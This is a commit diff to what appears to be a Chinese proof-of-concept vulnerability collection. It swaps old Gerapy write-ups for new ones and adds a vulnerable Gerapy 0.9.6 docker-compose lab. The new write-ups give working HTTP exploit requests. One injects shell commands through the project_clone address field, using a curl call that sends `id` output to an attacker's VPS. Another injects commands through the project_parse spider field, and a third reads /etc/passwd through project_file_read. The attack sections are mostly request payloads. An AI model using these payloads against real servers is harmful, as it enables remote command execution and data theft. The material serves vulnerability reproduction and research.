update

README.md

@@ -322,9 +322,8 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
   * FFmpeg 任意文件读取漏洞SSRF漏洞 CVE-2016-1897+CVE-2016-1898
   * Fhem FileLog_logWrapper 任意文件读取漏洞 CVE-2020-19360
   * Franklin Fueling Systems tsaupload.cgi 任意文件读取漏洞 CVE-2021-46417
-  * Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849
-  * Gerapy parse 后台远程命令执行漏洞
-  * Gerapy read 后台任意文件读取漏洞
+  * Gerapy project_clone & project_parse 后台远程命令执行漏洞 CVE-2021-32849
+  * Gerapy project_file_read 后台任意文件读取漏洞
   * GhostScript 沙箱绕过（命令执行）漏洞 CVE-2018-16509
   * GhostScript 沙箱绕过（命令执行）漏洞 CVE-2018-19475
   * GhostScript 沙箱绕过（命令执行）漏洞 CVE-2019-6116
@@ -764,6 +763,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
   * Langflow code API 未授权远程代码执行漏洞 CVE-2025-3248
   * Ollama 文件存在性泄露漏洞 CVE-2024-39719
   * Ollama 文件存在性泄露漏洞 CVE-2024-39722
+  * Ollama 未授权访问漏洞 CNVD-2025-04094
   * Ollama 目录遍历致代码执行漏洞 CVE-2024-37032
 - 其他漏洞
 
@@ -906,6 +906,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
   * Apache Druid 远程代码执行漏洞 QVD-2023-9629
   * Apache HugeGraph JWT Token 密钥硬编码漏洞 CVE-2024-43441
   * Apache HugeGraph 远程代码执行漏洞 CVE-2024-27348
+  * Apache IoTDB UDF 远程代码执行漏洞 CVE-2024-24780
   * ClickHouse API 数据库接口未授权访问漏洞
   * ElasticSearch Groovy 沙盒绕过 & 代码执行漏洞 CVE-2015-1427
   * Elasticsearch 未授权访问

Web应用漏洞/Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849.md

@@ -1,70 +0,0 @@
-# Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849
-
-## 漏洞描述
-
-近日，我司应急团队监测到关于Gerapy 0.9.6和之前的版本中存在注入漏洞，漏洞编号：CVE-2021-32849，该漏洞源于程序没有正确清理通过project_clone端点传递给Popen的输入，攻击者可利用该漏洞执行任意命令。
-
-## 漏洞影响
-
-```
-Gerapy <= 0.9.6
-```
-
-## 网络测绘
-
-```
-title="Gerapy"
-```
-
-## 漏洞复现
-
-登录页面
-
-![image-20220524145040847](images/202205241450895.png)
-
-出现漏洞的文件为 `gerapy/server/core/views.py`
-
-![](images/202205241450608.png)
-
-```
-@api_view(['POST'])
-@permission_classes([IsAuthenticated])
-def project_clone(request):
-    """
-    clone project from github
-    :param request: request object
-    :return: json
-    """
-    if request.method == 'POST':
-        data = json.loads(request.body)
-        address = data.get('address')
-        if not address.startswith('http'):
-            return JsonResponse({'status': False})
-        address = address + '.git' if not address.endswith('.git') else address
-        cmd = 'git clone {address} {target}'.format(address=address, target=join(PROJECTS_FOLDER, Path(address).stem))
-        logger.debug('clone cmd %s', mcd)
-        p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
-        stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read())
-        logger.debug('clone run result %s', stdout)
-        if stderr: logger.error(stderr)
-        return JsonResponse({'status': True}) if not stderr else JsonResponse({'status': False})
-```
-
-这里可以看到 address参数 为可控参数，拼接到 cmd中使用 Popen命令执行，构造请求包
-
-```
-POST /api/project/clone HTTP/1.1
-Host: 
-Content-Length: 61
-Accept: application/json, text/plain, */*
-Authorization: Token 0fb31a60728efd8e6398349bea36fa7629bd8df0
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
-Content-Type: application/json;charset=UTF-8
-Accept-Encoding: gzip, deflate
-Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
-Connection: close
-
-{"address":"http://127.0.0.1;curl xxx.xxx.xxx.xxx:9999?`id`"}
-```
-
-![](images/202205241451576.png)

Web应用漏洞/Gerapy parse 后台远程命令执行漏洞.md

@@ -1,46 +0,0 @@
-# Gerapy parse 后台远程命令执行漏洞
-
-## 漏洞描述
-
-Gerapy gerapy/server/core/views.py 中的方法存在任意命令执行，攻击者登录后台后发送特定的请求包即可利用漏洞
-
-## 漏洞影响
-
-```
-Gerapy <= 0.9.7
-```
-
-## 网络测绘
-
-```
-title="Gerapy"
-```
-
-## 漏洞复现
-
-登录页面
-
-![image-20220524145144051](images/202205241451094.png)
-
-出现漏洞的文件为 `gerapy/server/core/views.py`
-
-![](images/202205241451220.png)
-
-构造请求包测试命令执行
-
-```
-POST /api/project/1/parse HTTP/1.1
-Host: 
-Pragma: no-cache
-Cache-Control: no-cache
-Accept: application/json, text/plain, */*
-Authorization: Token 0fb31a60728efd8e6398349bea36fa7629bd8df0
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
-Accept-Encoding: gzip, deflate
-Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
-Content-Length: 18
-
-{"spider":";`id`"}
-```
-
-![](images/202205241452592.png)

Web应用漏洞/Gerapy project_clone & project_parse 后台远程命令执行漏洞 CVE-2021-32849.md

@@ -0,0 +1,199 @@
+# Gerapy project_clone & project_parse 后台远程命令执行漏洞 CVE-2021-32849
+
+## 漏洞描述
+
+Gerapy 是一款基于 Scrapy、Scrapyd、Django 和 Vue.js 的分布式爬虫管理框架。
+
+Gerapy < 0.9.9 存在远程命令执行漏洞，函数 `project_clone` 和 `project_parse` 在处理数据时容易受到命令注入攻击，经过身份验证的攻击者可以在系统上执行任意命令。
+
+参考链接：
+
+- https://securitylab.github.com/advisories/GHSL-2021-076-gerapy/
+- https://github.com/Gerapy/Gerapy/security/advisories/GHSA-756h-r2c9-qp5j
+- https://github.com/Gerapy/Gerapy/issues/197
+- https://github.com/Gerapy/Gerapy/issues/217
+
+## 漏洞影响
+
+```
+Gerapy < 0.9.9
+```
+
+## 网络测绘
+
+```
+title="Gerapy"
+```
+
+## 环境搭建
+
+docker-compose.yml
+
+```
+version: "3.9"
+
+services:
+
+  gerapy:
+    image: germey/gerapy:0.9.6
+    build: .
+    container_name: gerapy
+    restart: always
+    volumes:
+      - gerapy:/home/gerapy
+    ports:
+      - 8000:8000
+
+volumes:
+  gerapy:
+```
+
+执行如下命令启动一个 Gerapy 0.9.6 版本的服务器：
+
+```
+docker-compose up -d
+```
+
+启动完成后，访问 `http://your-ip:8000` 即可查看登录页面，通过默认口令 `admin/admin` 登录后台。
+
+![](images/Gerapy%20project_clone%20&%20project_parse%20后台远程命令执行漏洞%20CVE-2021-32849/image-20250516163736075.png)
+
+## 漏洞复现
+
+### 问题 1：`project_clone`
+
+[漏洞点](https://github.com/Gerapy/Gerapy/blob/af5657354aa040d5a6b52c91a837f5d63422d6d3/gerapy/server/core/views.py#L339) 位于 `gerapy/server/core/views.py`：
+
+```
+@api_view(['POST'])
+@permission_classes([IsAuthenticated])
+def project_clone(request):
+    """
+    clone project from github
+    :param request: request object
+    :return: json
+    """
+    if request.method == 'POST':
+        data = json.loads(request.body)
+
+        # NOTE(1): Address comes from the post's body.
+        address = data.get('address')
+        if not address.startswith('http'):
+            return JsonResponse({'status': False})
+        address = address + '.git' if not address.endswith('.git') else address
+        
+        # NOTE(2): Address is used to build a command without sanitization.
+        cmd = 'git clone {address} {target}'.format(address=address, target=join(PROJECTS_FOLDER, Path(address).stem))
+        logger.debug('clone cmd %s', cmd)
+
+        # NOTE(3): Command is executed.
+        p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
+        stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read())
+        logger.debug('clone run result %s', stdout)
+        if stderr: logger.error(stderr)
+        return JsonResponse({'status': True}) if not stderr else JsonResponse({'status': False})
+```
+
+![](images/Gerapy%20project_clone%20&%20project_parse%20后台远程命令执行漏洞%20CVE-2021-32849/image-20250516164053148.png)
+
+`address` 为可控参数，构造请求包：
+
+```
+POST /api/project/clone HTTP/1.1
+Host: your-ip:8000
+Accept: */*
+Referer: http://your-ip:8000/
+Accept-Encoding: gzip, deflate
+Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Content-Type: application/json;charset=UTF-8
+Authorization: Token e8279162677dd4fbfefe352b0f51ea8ad19cace5
+
+{"address":"http://127.0.0.1;curl your-vps-ip:9999?`id`"}
+```
+
+成功执行：
+
+![](images/Gerapy%20project_clone%20&%20project_parse%20后台远程命令执行漏洞%20CVE-2021-32849/image-20250516165019665.png)
+
+### 问题 2：`project_parse`
+
+[漏洞点](https://github.com/Gerapy/Gerapy/blob/af5657354aa040d5a6b52c91a837f5d63422d6d3/gerapy/server/core/views.py#L539) 位于 `gerapy/server/core/views.py`：
+
+```
+@api_view(['POST'])
+@permission_classes([IsAuthenticated])
+def project_parse(request, project_name):
+    """
+    parse project
+    :param request: request object
+    :param project_name: project name
+    :return: requests, items, response
+    """
+    if request.method == 'POST':
+        project_path = join(PROJECTS_FOLDER, project_name)
+        
+        # NOTE(1)
+        data = json.loads(request.body)
+        logger.debug('post data %s', data)
+        spider_name = data.get('spider')
+        args = {
+            'start': data.get('start', False),
+            'method': data.get('method', 'GET'),
+            'url': data.get('url'),
+            'callback': data.get('callback'),
+            'cookies': "'" + json.dumps(data.get('cookies', {}), ensure_ascii=False) + "'",
+            'headers': "'" + json.dumps(data.get('headers', {}), ensure_ascii=False) + "'",
+            'meta': "'" + json.dumps(data.get('meta', {}), ensure_ascii=False) + "'",
+            'dont_filter': data.get('dont_filter', False),
+            'priority': data.get('priority', 0),
+        }
+        # set request body
+        body = data.get('body', '')
+        if args.get('method').lower() != 'get':
+            args['body'] = "'" + json.dumps(body, ensure_ascii=False) + "'"
+        
+        # NOTE(2)
+        args_cmd = ' '.join(
+            ['--{arg} {value}'.format(arg=arg, value=value) for arg, value in args.items()])
+        logger.debug('args cmd %s', args_cmd)
+        cmd = 'gerapy parse {args_cmd} {project_path} {spider_name}'.format(
+            args_cmd=args_cmd,
+            project_path=project_path,
+            spider_name=spider_name
+        )
+        logger.debug('parse cmd %s', cmd)
+
+        # NOTE(3)
+        p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=True)
+        stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read())
+        logger.debug('stdout %s, stderr %s', stdout, stderr)
+        if not stderr:
+            return JsonResponse({'status': True, 'result': json.loads(stdout)})
+        else:
+            return JsonResponse({'status': False, 'message': stderr})
+```
+
+![](images/Gerapy%20project_clone%20&%20project_parse%20后台远程命令执行漏洞%20CVE-2021-32849/image-20250516165224445.png)
+
+构造请求包：
+
+```
+POST /api/project/1/parse HTTP/1.1
+Host: your-ip:8000
+Accept: */*
+Referer: http://your-ip:8000/
+Accept-Encoding: gzip, deflate
+Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Content-Type: application/json;charset=UTF-8
+Authorization: Token e8279162677dd4fbfefe352b0f51ea8ad19cace5
+
+{"spider":"`id`"}
+```
+
+![](images/Gerapy%20project_clone%20&%20project_parse%20后台远程命令执行漏洞%20CVE-2021-32849/image-20250516165506340.png)
+
+## 漏洞修复
+
+升级至安全版本。

Web应用漏洞/Gerapy project_file_read 后台任意文件读取漏洞.md

@@ -0,0 +1,102 @@
+# Gerapy project_file_read 后台任意文件读取漏洞
+
+## 漏洞描述
+
+Gerapy 是一款基于 Scrapy、Scrapyd、Django 和 Vue.js 的分布式爬虫管理框架。
+
+Gerapy < 0.9.9 存在任意文件读取漏洞，函数 `project_file_read` 的 `path` 和 `label` 参数可控，经过身份验证的攻击者可以读取任意文件。
+
+参考链接：
+
+- https://github.com/Gerapy/Gerapy/issues/210
+- https://github.com/Gerapy/Gerapy/blob/af5657354aa040d5a6b52c91a837f5d63422d6d3/gerapy/server/core/views.py#L548-L561
+
+## 漏洞影响
+
+```
+Gerapy < 0.9.9
+```
+
+## 网络测绘
+
+```
+title="Gerapy"
+```
+
+## 环境搭建
+
+docker-compose.yml
+
+```
+version: "3.9"
+
+services:
+
+  gerapy:
+    image: germey/gerapy:0.9.6
+    build: .
+    container_name: gerapy
+    restart: always
+    volumes:
+      - gerapy:/home/gerapy
+    ports:
+      - 8000:8000
+
+volumes:
+  gerapy:
+```
+
+执行如下命令启动一个 Gerapy 0.9.6 版本的服务器：
+
+```
+docker-compose up -d
+```
+
+启动完成后，访问 `http://your-ip:8000` 即可查看登录页面，通过默认口令 `admin/admin` 登录后台。
+
+![](Public/Awesome-POC/Web应用漏洞/images/Gerapy%20project_file_read%20后台任意文件读取漏洞/image-20250516170319239.png)
+
+## 漏洞复现
+
+[漏洞点](https://github.com/Gerapy/Gerapy/blob/af5657354aa040d5a6b52c91a837f5d63422d6d3/gerapy/server/core/views.py#L339) 位于 `gerapy/server/core/views.py`：
+
+```
+@api_view(['POST'])
+@permission_classes([IsAuthenticated])
+def project_file_read(request):
+    """
+    get content of project file
+    :param request: request object
+    :return: file content
+    """
+    if request.method == 'POST':
+        data = json.loads(request.body)
+        path = join(data['path'], data['label'])
+        # binary file
+        with open(path, 'rb') as f:
+            return HttpResponse(f.read().decode('utf-8'))
+```
+
+![](Public/Awesome-POC/Web应用漏洞/images/Gerapy%20project_file_read%20后台任意文件读取漏洞/image-20250516170104352.png)
+
+构造请求包：
+
+```
+POST /api/project/file/read HTTP/1.1
+Host: your-ip:8000
+Accept: */*
+Referer: http://your-ip:8000/
+Accept-Encoding: gzip, deflate
+Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Content-Type: application/json;charset=UTF-8
+Authorization: Token e8279162677dd4fbfefe352b0f51ea8ad19cace5
+
+{"path":"/etc/","label":"passwd"}
+```
+
+![](Public/Awesome-POC/Web应用漏洞/images/Gerapy%20project_file_read%20后台任意文件读取漏洞/image-20250516170502226.png)
+
+## 漏洞修复
+
+升级至安全版本。

Web应用漏洞/Gerapy read 后台任意文件读取漏洞.md

@@ -1,68 +0,0 @@
-# Gerapy read 后台任意文件读取漏洞
-
-## 漏洞描述
-
-Gerapy gerapy/server/core/views.py 中的 project_file_read 方法存在任意文件读取，攻击者登录后台后发送特定的请求包即可利用漏洞
-
-## 漏洞影响
-
-```
-Gerapy <= 0.9.6
-```
-
-## 网络测绘
-
-```
-title="Gerapy"
-```
-
-## 漏洞复现
-
-登录页面
-
-![image-20220524145252413](images/202205241452469.png)
-
-出现漏洞的文件为 `gerapy/server/core/views.py`
-
-![](images/202205241453657.png)
-
-```
-@api_view(['POST'])
-@permission_classes([IsAuthenticated])
-def project_file_read(request):
-    """
-    get content of project file
-    :param request: request object
-    :return: file content
-    """
-    if request.method == 'POST':
-        data = json.loads(request.body)
-        path = join(data['path'], data['label'])
-        # binary file
-        with open(path, 'rb') as f:
-            return HttpResponse(f.read().decode('utf-8'))
-```
-
-参数 path 和 label 都为用户可控变量，登录后构造请求包
-
-```
-POST /api/project/file/read HTTP/1.1
-Host: 
-Content-Length: 35
-Accept: application/json, text/plain, */*
-Authorization: Token 0fb31a60728efd8e6398349bea36fa7629bd8df0
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
-Content-Type: application/json;charset=UTF-8
-Accept-Encoding: gzip, deflate
-Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
-x-forwarded-for: 127.0.0.1
-x-originating-ip: 127.0.0.1
-x-remote-ip: 127.0.0.1
-x-remote-addr: 127.0.0.1
-Connection: close
-
-{"path":"/etc/",
-"label":"passwd"}
-```
-
-![](images/202205241453910.png)

base/gerapy/0.9.6/docker-compose.yml

@@ -0,0 +1,16 @@
+version: "3.9"
+
+services:
+
+  gerapy:
+    image: germey/gerapy:0.9.6
+    build: .
+    container_name: gerapy
+    restart: always
+    volumes:
+      - gerapy:/home/gerapy
+    ports:
+      - 8000:8000
+
+volumes:
+  gerapy:

开发框架漏洞/Spring Cloud Function SpEL表达式命令注入 CVE-2022-22963.md

@@ -26,7 +26,7 @@ docker-compose up -d
 
 ```
 POST /functionRouter HTTP/1.1
-Host: y:8080
+Host: your-ip:8080
 Accept-Encoding: gzip, deflate
 Accept: */*
 Accept-Language: en